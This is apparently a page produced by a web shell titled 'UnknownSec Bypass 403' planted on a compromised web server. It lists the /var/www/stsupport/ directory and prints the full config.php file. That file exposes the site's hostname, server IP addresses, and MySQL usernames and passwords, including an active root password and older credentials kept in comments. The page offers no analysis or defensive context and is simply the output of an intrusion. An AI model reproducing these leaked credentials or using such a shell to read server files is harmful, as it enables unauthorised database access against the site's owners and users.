UnknownSec Bypass 403

: /var/www/stsupport/ [ drwxrwxr-x ]
name : config.php <?php $hostname="https://stsupport.sadanandtechnologies.com"; //$hostname="https://ntronics.in/stsupport"; //$hostname="http://localhost:8080/st-support"; //$conn=mysqli_connect("localhost:3307","root","","stsupportdb") or die("Connection failled:" . mysqli_connect_error()); //$conn=mysqli_connect("103.212.121.67:3306","stsupportuser","stsupport123!@#","stsupportdb") or die("Connection failled:" . mysqli_connect_error()); //$conn=mysqli_connect("103.150.186.216:3306","stsupportuser","stsupport123!@#","stsupportdb") or die("Connection failled:" . mysqli_connect_error()); $conn=mysqli_connect("localhost","root","vG!fM@*p!8#3P3bss(_%FE","stsupportdb") or die("Connection failled:" . mysqli_connect_error()); ?>